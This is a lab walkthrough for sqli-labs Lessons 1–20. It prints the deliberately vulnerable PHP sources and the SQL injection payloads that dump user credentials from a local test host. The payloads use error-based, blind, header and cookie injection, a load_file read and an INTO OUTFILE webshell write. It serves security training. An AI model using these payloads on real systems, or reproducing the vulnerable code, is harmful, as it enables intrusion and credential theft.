Less - 01 GET - Error Based - Single Quotes String(报错显示 基于单引号)

  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['id']))
  4. {
  5.     $id=$_GET['id'];
  6.     $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  7.     $result=mysql_query($sql);
  8.     $row = mysql_fetch_array($result);
  10.     if($row){
  11.                 echo 'Your Login name:'. $row['username'];
  12.               echo 'Your Password:' .$row['password'];
  13.     }else{
  14.               print_r(mysql_error());
  15.     }
  16. }
  1. http://sqli.test/Less-1/?id=1
  2. http://sqli.test/Less-1/?id=1'and 1=1 -- #                // 有数据
  3. http://sqli.test/Less-1/?id=1'and 1=2 -- #                // 无数据
  5. http://sqli.test/Less-1/?id=1'and (updatexml(1,concat(0x5e24,(select user()),0x5e24),1)) -- #                        // XPATH syntax error: '^$root@localhost^$'
  6. http://sqli.test/Less-1/?id=1'and (updatexml(1,concat(0x5e24,(select database()),0x5e24),1)) -- #                    // XPATH syntax error: '^$security^$'
  7. http://sqli.test/Less-1/?id=1'and (updatexml(1,concat(0x5e24,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e24),1)) -- #                        // XPATH syntax error: '^$emails^$'
  8. http://sqli.test/Less-1/?id=1'and (updatexml(1,concat(0x5e24,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x5e24),1)) -- #                        // XPATH syntax error: '^$referers^$'
  9. http://sqli.test/Less-1/?id=1'and (updatexml(1,concat(0x5e24,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x5e24),1)) -- #                         // XPATH syntax error: '^$uagents^$'
  10. http://sqli.test/Less-1/?id=1'and (updatexml(1,concat(0x5e24,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5e24),1)) -- #                        // XPATH syntax error: '^$users^$'
  13. http://sqli.test/Less-1/?id=1'and (updatexml(1,concat(0x5e24,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x5e24),1)) -- #            // XPATH syntax error: '^$id^$'
  14. http://sqli.test/Less-1/?id=1'and (updatexml(1,concat(0x5e24,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x5e24),1)) -- #            // XPATH syntax error: '^$username^$'
  15. http://sqli.test/Less-1/?id=1'and (updatexml(1,concat(0x5e24,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x5e24),1)) -- #            // XPATH syntax error: '^$password^$'
  17. http://sqli.test/Less-1/?id=1'and (updatexml(1,concat(0x5e24,(select substr(concat('id:',id,' username:',username,' password:',password),1,30) from users limit 0,1),0x5e24),1)) -- #                //XPATH syntax error: '^$id:1 username:Dumb password:Du'
  18. http://sqli.test/Less-1/?id=1'and (updatexml(1,concat(0x5e24,(select substr(concat('id:',id,' username:',username,' password:',password),30,60) from users limit 0,1),0x5e24),1)) -- #                // XPATH syntax error: '^$umb^$'
  20. id:1 username:Dumb password:Dumb

Less - 02 GET - Error Based - Intiget Based (报错显示 数字型)

  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['id']))
  4. {
  5.     $id=$_GET['id'];
  6.     $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  7.     $result=mysql_query($sql);
  8.     $row = mysql_fetch_array($result);
  10.     if($row){
  11.                 echo 'Your Login name:'. $row['username'];
  12.               echo 'Your Password:' .$row['password'];
  13.     }else{
  14.           print_r(mysql_error());
  15.     }
  16. }
  1. http://sqli.test/Less-2/?id=1 and 1=1            // 有数据
  2. http://sqli.test/Less-2/?id=1 and 1=2            // 无数据
  4. http://sqli.test/Less-2/?id=1 and (updatexml(1,concat(0x5e24,(select substr(concat('id:',id,' username:',username,' password:',password),1,30) from users limit 0,1),0x5e24),1)) -- #            // XPATH syntax error: '^$id:1 username:Dumb password:Du'
  5. http://sqli.test/Less-2/?id=1 and (updatexml(1,concat(0x5e24,(select substr(concat('id:',id,' username:',username,' password:',password),30,60) from users limit 0,1),0x5e24),1)) -- #            // XPATH syntax error: '^$umb^$'
  7. id:1 username:Dumb password:Dumb

Less - 03 GET - Error Based - Single Quotes With Twist String (报错显示 带括号的单引号)

  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['id']))
  4. {
  5.     $id=$_GET['id'];
  6.     $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  7.     $result=mysql_query($sql);
  8.     $row = mysql_fetch_array($result);
  10.     if($row){
  11.                 echo 'Your Login name:'. $row['username'];
  12.               echo 'Your Password:' .$row['password'];
  13.     }else{
  14.           print_r(mysql_error());
  15.     }
  16. }
  1. http://sqli.test/Less-3/?id=1' )and 1=1 -- w                // 有数据
  2. http://sqli.test/Less-3/?id=1' )and 1=2 -- w                // 无数据
  4. http://sqli.test/Less-3/?id=1' ) and (updatexml(1,concat(0x5e24,(select substr(concat('id:',id,' username:',username,' password:',password),1,30) from users limit 0,1),0x5e24),1)) -- #            // XPATH syntax error: '^$id:1 username:Dumb password:Du'
  5. http://sqli.test/Less-3/?id=1' ) and (updatexml(1,concat(0x5e24,(select substr(concat('id:',id,' username:',username,' password:',password),30,60) from users limit 0,1),0x5e24),1)) -- #            // XPATH syntax error: '^$umb^$'
  7. id:1 username:Dumb password:Dumb

Less - 04 GET - Error Based - Double Quotes - String(报错显示 双引号)

  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['id']))
  4. {
  5.     $id=$_GET['id'];
  6.     $id = '"' . $id . '"';
  7.     $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
  8.     $result=mysql_query($sql);
  9.     $row = mysql_fetch_array($result);
  11.     if($row){
  12.                 echo 'Your Login name:'. $row['username'];
  13.               echo 'Your Password:' .$row['password'];
  14.     }else{
  15.       print_r(mysql_error());
  16.     }
  17. }
  1. http://sqli.test/Less-4/?id=1") and 1=1 -- +        // 有数据
  2. http://sqli.test/Less-4/?id=1") and 1=2 -- +        // 无数据
  4. http://sqli.test/Less-4/?id=1") and (updatexml(1,concat(0x5e24,(select substr(concat('id:',id,' username:',username,' password:',password),1,30) from users limit 0,1),0x5e24),1)) -- +                    // XPATH syntax error: '^$id:1 username:Dumb password:Du'
  5. http://sqli.test/Less-4/?id=1") and (updatexml(1,concat(0x5e24,(select substr(concat('id:',id,' username:',username,' password:',password),30,60) from users limit 0,1),0x5e24),1)) -- +                    // XPATH syntax error: '^$umb^$'
  7. id:1 username:Dumb password:Dumb

Less - 05 GET - Double Injection - Single Quotes - String(双注入 单引号)

  1. <?php
  2.     error_reporting(0);
  3.   if(isset($_GET['id']))
  4.   {
  5.     $id=$_GET['id'];    
  6.     $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  7.     $result=mysql_query($sql);
  8.     $row = mysql_fetch_array($result);
  10.     if($row){
  11.             echo 'You are in...........';
  12.     }else{
  13.       print_r(mysql_error());
  14.     }
  15. }
  1. http://sqli.test/Less-5/?id=1' and 1=1 --+                // 有数据
  2. http://sqli.test/Less-5/?id=1' and 1=2 --+                // 无数据
  4. // 输出占位
  5. http://sqli.test/Less-5/?id=1 ' order by 1,2,3 --+        // 有数据
  6. http://sqli.test/Less-5/?id=1 ' order by 1,2,3,4 --+    // 报错
  8. // 报错注入
  9. http://sqli.test/Less-5/?id=1 ' union select 1,2,(updatexml(1,concat(0x7e,(select user()),0x7e),1)) --+                                                                                                                                                                                                                // security
  10. http://sqli.test/Less-5/?id=1'  union select 1,2,(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database() limit 0,1),0x7e),1)) --+                                                        // emails
  11. http://sqli.test/Less-5/?id=1'  union select 1,2,(updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema= database() and table_name='users' limit 0,1),0x7e),1)) --+    // id
  12. http://sqli.test/Less-5/?id=1'  union select 1,2,(updatexml(1,concat(0x7e,(select concat(id,username,password) from security.users limit 0,1),0x7e),1)) --+                                                                                                        // 1DumbDumb
  14. // 报错读文件
  15. http://sqli.test/Less-5/?id=1 ' union select 1,2,(updatexml(1,concat(0x7e,(load_file('C:/phpstudy_pro/WWW/sqli/shell.php')),0x7e),1)) --+

Less - 06 GET - Double Injection - Double Quotes - String (双注入 双引号)

  1. <?php
  2.     error_reporting(0);
  3.   if(isset($_GET['id']))
  4.   {
  5.     $id=$_GET['id'];    
  6.     $sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";
  7.     $result=mysql_query($sql);
  8.     $row = mysql_fetch_array($result);
  10.     if($row){
  11.             echo 'You are in...........';
  12.     }else{
  13.       print_r(mysql_error());
  14.     }
  15. }
  1. // 测试
  2. http://sqli.test/Less-6/?id=1 " and 1=1 --+
  3. http://sqli.test/Less-6/?id=1 " and 1=2 --+
  5. // 与上一个一样的报错注入过程
  6. http://sqli.test/Less-5/?id=1"  union select 1,2,(updatexml(1,concat(0x7e,(select concat(id,username,password) from security.users limit 0,1),0x7e),1)) --+                                                                                                        // 1DumbDumb

Less - 07 GET - Dump Into Outfile -String (文件导出)

  1. <?php 
  2. error_reporting(0);
  3. if(isset($_GET['id']))
  4. {
  5.         $id=$_GET['id'];
  6.         $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
  7.         $result=mysql_query($sql);
  8.         $row = mysql_fetch_array($result);
  9.     if($row){
  10.           echo 'You are in.... Use outfile......';
  11.     }else{
  12.             echo 'You have an error in your SQL syntax';
  13.           //print_r(mysql_error());
  14.     }
  15. }
  1. // 测试
  2. http://sqli.test/Less-7/?id=1 ')) and 1=1 --+
  3. http://sqli.test/Less-7/?id=1 ')) and 1=2 --+
  5. // 写shell
  6. http://sqli.test/Less-7/?id=1 ')) union select 1,2,0x273c3f70687020406576616c28245f504f53545b3132335d293b3f3e27 into outfile 'C:/phpstudy_pro/WWW/sqli/Less-7/shell.php' --+

Less - 08 GET - Blind - Boolian Based - Single Quotes (布尔盲注 单引号)

  1. <?php
  2. error_reporting(0);
  3. // take the variables
  4. if(isset($_GET['id']))
  5. {
  6.         $id=$_GET['id'];        
  7.     $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  8.     $result=mysql_query($sql);
  9.     $row = mysql_fetch_array($result);
  10.       if($row){
  11.           echo 'You are in...........';
  12.     }
  13.     else{
  14.     //echo 'You are in...........';
  15.     //print_r(mysql_error());
  16.     //echo "You have an error in your SQL syntax";
  17.     }
  18. }
  1. // 测试
  2. http://sqli.test/Less-8/?id=1' and 1=1 --+
  3. http://sqli.test/Less-8/?id=1' and 1=2 --+
  5. // 盲注
  6. http://sqli.test/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+

Less - 09 GET - Blind - Time Based - Single Quotes(时间盲注 单引号)

  1. <?php
  2. error_reporting(0);
  3. // take the variables
  4. if(isset($_GET['id']))
  5. {
  6.     $id=$_GET['id'];
  7.     $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  8.     $result=mysql_query($sql);
  9.     $row = mysql_fetch_array($result);
  10.     if($row){
  11.         echo 'You are in...........';
  12.     }else{
  13.         echo 'You are in...........';
  14.         //print_r(mysql_error());
  15.         //echo "You have an error in your SQL syntax";
  16.     }
  17. }
  1. // 测试
  2. http://sqli.test/Less-9/?id=1 ' and  sleep(4)  --+
  4. // 延时盲注
  5. http://sqli.test/Less-9/?id=1 ' and  if(ascii(substr(database(),1,1))=115,sleep(4),1) --+

Less - 10 GET - Time Based - Double Quotes (时间盲注 双引号)

  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['id']))
  4. {
  5.     $id=$_GET['id'];
  6.     $id = '"'.$id.'"';
  7.     $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  8.     $result=mysql_query($sql);
  9.     $row = mysql_fetch_array($result);
  10.     if($row)
  11.     {
  12.       echo 'You are in...........';
  13.     }
  14.     else 
  15.     {
  16.     echo 'You are in...........';
  17.     //print_r(mysql_error());
  18.     //echo "You have an error in your SQL syntax";
  19.     }
  20. }
  1. // 测试
  2. http://sqli.test/Less-10/?id=1" and sleep(3) --+
  4. // 时间盲注
  5. http://sqli.test/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115,sleep(4),1) --+

Less - 11 POST - Error Based - Single Quotes - String (基于报错 单引号 字符型)

  1. <?php
  2. error_reporting(0);
  4. if(isset($_POST['uname']) && isset($_POST['passwd']))
  5. {
  6.     $uname=$_POST['uname'];
  7.     $passwd=$_POST['passwd'];
  8.     @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  9.     $result=mysql_query($sql);
  10.     $row = mysql_fetch_array($result);
  11.     if($row){
  12.         echo 'Your Login name:'. $row['username'];
  13.         echo 'Your Password:' .$row['password'];
  14.     }else{
  15.         //echo "Try again looser";
  16.         print_r(mysql_error());
  17.     }
  18. }
  1. // 测试
  2. [POST] uname=admin&passwd=admin'and+1=2%20--+&submit=Submit
  4. // 报错注入
  5. [POST] uname=admin&passwd=admin'and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)--+&submit=Submit

Less - 12 POST - Error Based - Double Quotes - String - with twist (基于报错 双引号 字符型 带括号)

  1. <?php
  2. error_reporting(0);
  3. if(isset($_POST['uname']) && isset($_POST['passwd']))
  4. {
  5.     $uname=$_POST['uname'];
  6.     $passwd=$_POST['passwd'];
  7.     $uname='"'.$uname.'"';
  8.     $passwd='"'.$passwd.'"'; 
  9.     @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
  10.     $result=mysql_query($sql);
  11.     $row = mysql_fetch_array($result);
  12.     if($row){
  13.         echo 'Your Login name:'. $row['username'];
  14.         echo 'Your Password:' .$row['password'];
  15.     }else{
  16.           print_r(mysql_error());
  17.     }
  18. }
  1. // 测试
  2. [POST] uname=admin&passwd=admin")and+1=2+--+&submit=Submit
  4. // 报错注入
  5. [POST] uname=admin&passwd=admin")and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)+--+&submit=Submit

Less - 13 POST - Double Injection - Single Quotes - String - with twist(双注入 单引号 字符型 带括号)

  1. <?php
  2. error_reporting(0);
  3. if(isset($_POST['uname']) && isset($_POST['passwd']))
  4. {
  5.     $uname=$_POST['uname'];
  6.     $passwd=$_POST['passwd'];
  8.     @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
  9.     $result=mysql_query($sql);
  10.     $row = mysql_fetch_array($result);
  11.     if($row){
  12.         //echo 'Your Login name:'. $row['username'];
  13.         //echo "<br>";
  14.         //echo 'Your Password:' .$row['password'];
  15.         //echo "<br>";
  16.     }else{
  17.         print_r(mysql_error()); 
  18.     }
  19. }
  20. ?>
  1. // 测试 
  2. [POST] uname=admin&passwd=admin')and+sleep(3)%20--+&submit=Submit
  4. // 时间盲注
  5. [POST] uname=admin&passwd=admin')and+if(ascii(substr(database(),1,1))=115,sleep(4),1)%20--+&submit=Submit
  7. // 报错注入
  8. [POST] uname=admin&passwd=admin')and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)%20--+&submit=Submit

Less - 14 POST - Double Injection - Double Quotes - String - with twist (双注入 双引号 字符型 带括号)

  1. <?php
  2. error_reporting(0);
  3. if(isset($_POST['uname']) && isset($_POST['passwd']))
  4. {
  5.     $uname=$_POST['uname'];
  6.     $passwd=$_POST['passwd'];
  7.     $uname='"'.$uname.'"';
  8.     $passwd='"'.$passwd.'"'; 
  9.     @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
  10.     $result=mysql_query($sql);
  11.     $row = mysql_fetch_array($result);
  12.     if($row){
  13.           //echo 'Your Login name:'. $row['username'];
  14.           //echo 'Your Password:' .$row['password'];
  15.       }else{
  16.           print_r(mysql_error());
  17.     }
  18. }
  20. ?>
  1. // 测试
  2. [POST] uname=admin&passwd=admin"+and+sleep(3)%20--+&submit=Submit
  4. // 时间盲注
  5. [POST] uname=admin&passwd=admin"+and+if(ascii(substr(database(),1,1))=115,sleep(4),1)%20--+&submit=Submit
  7. // 报错注入
  8. [POST] uname=admin&passwd=admin"+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)%20--+&submit=

Less - 15 POST - Blind - Boolian/time Based - Single Quotes (布尔/时间盲注 单引号)

  1. <?php
  2. error_reporting(0);
  3. if(isset($_POST['uname']) && isset($_POST['passwd']))
  4. {
  5.       $uname=$_POST['uname'];
  6.       $passwd=$_POST['passwd'];
  7.       @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  8.       $result=mysql_query($sql);
  9.       $row = mysql_fetch_array($result);
  10.       if($row){
  11.             //echo 'Your Login name:'. $row['username'];
  12.             //echo 'Your Password:' .$row['password'];
  13.       }else{
  14.             //print_r(mysql_error());
  15.       }
  16. }
  17. ?>
  1. // 测试
  2. [POST] uname=admin&passwd=admin'+and+sleep(3)%20--+&submit=Submit
  4. //时间盲注
  5. [POST] uname=admin&passwd=admin'+and+if(ascii(substr(database(),1,1))=115,sleep(3),1)%20--+&submit=Submit

Less - 16 POST - Blind - Boolian/Time Based - Double Quotes ( 布尔/时间盲注 双引号)

  1. <?php
  2. error_reporting(0);
  3. if(isset($_POST['uname']) && isset($_POST['passwd']))
  4. {
  5.     $uname=$_POST['uname'];
  6.     $passwd=$_POST['passwd'];
  7.     $uname='"'.$uname.'"';
  8.     $passwd='"'.$passwd.'"'; 
  9.     @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
  10.     $result=mysql_query($sql);
  11.     $row = mysql_fetch_array($result);
  12.     if($row){
  13.         //echo 'Your Login name:'. $row['username'];
  14.         //echo 'Your Password:' .$row['password'];
  15.     }else{
  16.         //echo "Try again looser";
  17.         //print_r(mysql_error());
  18.     }
  19. }
  20. ?>
  1. // 测试
  2. [POST] uname=admin&passwd=admin+")+and+sleep(3)--+&submit=Submit
  4. // 时间盲注
  5. [POST] uname=admin&passwd=admin+")+and+if(ascii(substr(database(),1,1))=115,sleep(3),1)--+&submit=Submit

Less - 17 POST - Update Query - Error Based - String (Update注入 基于报错)

  1. <?php
  2. error_reporting(0);
  3. function check_input($value){
  4.         if(!empty($value)){                                                                                            // empty:查变量是否为空
  5.         $value = substr($value,0,15);                                                                // substr:取指定长度
  6.         }
  7.         if (get_magic_quotes_gpc()){                                                                        // 检查gpc是否开启
  8.                 $value = stripslashes($value);                                                            // stripslashes：除斜杠
  9.         }if (!ctype_digit($value)){                                                                            // 检查是否为纯数组
  10.                 $value = "'" . mysql_real_escape_string($value) . "'";            // mysql_real_escape_string:字符转义
  11.     }else{
  12.             $value = intval($value);                                                                            // intval:获取变量的整数值
  13.         }
  14.     return $value;
  15.     }
  16. if(isset($_POST['uname']) && isset($_POST['passwd'])){
  17.     $uname=check_input($_POST['uname']);  
  18.     $passwd=$_POST['passwd'];
  19.     @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
  21.     $result=mysql_query($sql);
  22.     $row = mysql_fetch_array($result);
  23.     if($row){
  24.         $row1 = $row['username'];      
  25.         $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
  26.         mysql_query($update);
  27.         if (mysql_error()){
  28.             print_r(mysql_error());
  29.         }else{
  30.             //echo " You password has been successfully updated " ;        
  31.         }
  32.         //echo 'Your Password:' .$row['password'];
  33.       }
  34. }
  35. ?>
  1. // 对以上代码进行简单审计后发现只有uname参数进行了过滤,passwd并没有进行过滤,那么就从passwd入手注就行了
  3. // 测试
  4. [POST] uname=dumb&passwd=123'"+and+1=2%20--+&submit=Submit                        // 报错
  6. // 报错注入
  7. [POST] uname=dumb&passwd=123'+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)%20--+&submit=Submit
  8. [POST] uname=dumb&passwd=1'+and+(select+1+from+(select+count(*),concat((select(select+concat(CAST(concat(username,password)+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+&submit=Submit
  1. update users set password = '1' and (select 1 from (select count(*),concat((select(select concat(CAST(concat(username,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  3. update users set password = '1' and (
  4.     select 1 from (
  5.         select count(*),concat(
  6.             (select(select concat(CAST(concat(username,password) as char),0x7e)) from users limit 0,1)
  7.             ,
  8.             floor(rand(0)*2)
  9.             )x 
  10.             from information_schema.tables group by x
  11.         )a
  12.     )

Less - 18 POST - Header Injection - Uagent Field - Error Based (Header头注入 Uagent字段 基于报错)

  1. <?php
  2. error_reporting(0);
  3. function check_input($value){
  4.     if(!empty($value)){
  5.           $value = substr($value,0,20);
  6.     }if (get_magic_quotes_gpc()){
  7.           $value = stripslashes($value);
  8.     }if (!ctype_digit($value)){
  9.           $value = "'" . mysql_real_escape_string($value) . "'";
  10.     }else{
  11.           $value = intval($value);
  12.     }
  13.     return $value;
  14. }
  16.     $uagent = $_SERVER['HTTP_USER_AGENT'];                                                        // $_SERVER：获取服务器执行环境 HTTP_USER_AGENT：用户浏览器请求头
  17.     $IP = $_SERVER['REMOTE_ADDR'];                                                                        // REMOTE_ADDR:当前用户IP
  18.     echo 'Your IP ADDRESS is: ' .$IP;
  19. if(isset($_POST['uname']) && isset($_POST['passwd'])){
  20.     $uname = check_input($_POST['uname']);
  21.     $passwd = check_input($_POST['passwd']);
  23.     $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
  24.     $result1 = mysql_query($sql);
  25.     $row1 = mysql_fetch_array($result1);
  26.     if($row1){
  27.         $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
  28.         mysql_query($insert);
  29.         echo 'Your User Agent is: ' .$uagent;
  30.         print_r(mysql_error());            
  31.     }else{
  32.           print_r(mysql_error());
  33.     }
  34. }
  35. ?>
  1. // 对上面代码进行简单审计发现一个用于记录用户登陆信息的功能,且该字段用户可控并且未进行字段过滤($uagent,$IP)
  3. // 测试
  4. [User-Agent] 'and 1=2                                                                                        // 报错
  6. // 报错注入
  7. [User-Agent] 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

Less - 19 POST - Header Injection - Referer Field - Error Based (Header头注入 Referer字段 基于报错)

  1. <?php
  2. error_reporting(0);
  3. function check_input($value){
  4.     if(!empty($value)){
  5.           $value = substr($value,0,20);
  6.     }if (get_magic_quotes_gpc()){
  7.           $value = stripslashes($value);
  8.     }if (!ctype_digit($value)){
  9.           $value = "'" . mysql_real_escape_string($value) . "'";
  10.     }else{
  11.           $value = intval($value);
  12.     }
  13.     return $value;
  14. }
  16.     $uagent = $_SERVER['HTTP_REFERER'];                                                        // HTTP_REFERER:获取前一页面的 URL 地址
  17.     $IP = $_SERVER['REMOTE_ADDR'];
  19. if(isset($_POST['uname']) && isset($_POST['passwd'])){
  20.     $uname = check_input($_POST['uname']);
  21.     $passwd = check_input($_POST['passwd']);
  22.     $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
  23.     $result1 = mysql_query($sql);
  24.     $row1 = mysql_fetch_array($result1);
  25.     if($row1){
  26.        $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
  27.        echo 'Your Referer is: ' .$uagent;
  28.        mysql_query($insert);
  29.        print_r(mysql_error());
  30.     }else{
  31.        print_r(mysql_error());
  32.     }
  33. }
  35. ?>
  1. // 测试
  2. [referer] 'and 1=2                                                                                        // 报错
  4. // 报错注入
  5. [referer] 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

Less - 20 POST - Cookie Injections - Uagent Field - Error Based (Cookie注入 Uagent字段 基于报错)

  1. <?php
  2. error_reporting(0);
  3. if (!isset($_COOKIE['uname'])) {
  4.     function check_input($value)
  5.     {
  6.         if (!empty($value)) {
  7.             $value = substr($value, 0, 20); // truncation (see comments)
  8.         }
  9.         if (get_magic_quotes_gpc())  // Stripslashes if magic quotes enabled
  10.         {
  11.             $value = stripslashes($value);
  12.         }
  13.         if (!ctype_digit($value))       // Quote if not a number
  14.         {
  15.             $value = "'" . mysql_real_escape_string($value) . "'";
  16.         } else {
  17.             $value = intval($value);
  18.         }
  19.         return $value;
  20.     }
  21.     if (isset($_POST['uname']) && isset($_POST['passwd'])) {
  22.         $uname = check_input($_POST['uname']);
  23.         $passwd = check_input($_POST['passwd']);
  24.         $sql = "SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
  25.         $result1 = mysql_query($sql);
  26.         $row1 = mysql_fetch_array($result1);
  27.         $cookee = $row1['username'];
  28.         if ($row1) {
  29.             setcookie('uname', $cookee, time() + 3600);
  30.             header('Location: index.php');
  31.             echo "I LOVE YOU COOKIES";
  32.             print_r(mysql_error());
  33.         } else {
  34.             print_r(mysql_error());
  35.         }
  36.     }
  37. } else {
  38.     if (!isset($_POST['submit'])) {
  39.         $cookee = $_COOKIE['uname'];
  40.         $format = 'D d M Y - H:i:s';
  41.         $timestamp = time() + 3600;
  42.         echo "YOUR USER AGENT IS : " . $_SERVER['HTTP_USER_AGENT'];
  43.         echo "YOUR IP ADDRESS IS : " . $_SERVER['REMOTE_ADDR'];
  44.         echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
  45.         echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
  46.         $sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
  47.         $result = mysql_query($sql);
  48.         if (!$result) {
  49.             die('Issue with your mysql: ' . mysql_error());
  50.         }
  51.         $row = mysql_fetch_array($result);
  52.         if ($row) {
  53.             echo 'Your Login name:' . $row['username'];
  54.             echo 'Your Password:' . $row['password'];
  55.             echo 'Your ID:' . $row['id'];
  56.         } else {
  57.         }
  59.         echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';
  60.     } else {
  62.         echo " Your Cookie is deleted";
  63.         setcookie('uname', $row1['username'], time() - 3600);
  64.         header('Location: index.php');
  65.     }
  66. }
  1. // 测试
  2. [cookie] uname=Dumb 'and 1=1 --+
  3. [cookie] uname=Dumb 'and 1=2 --+
  5. // 报错注入
  6. [cookie] uname=Dumb 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+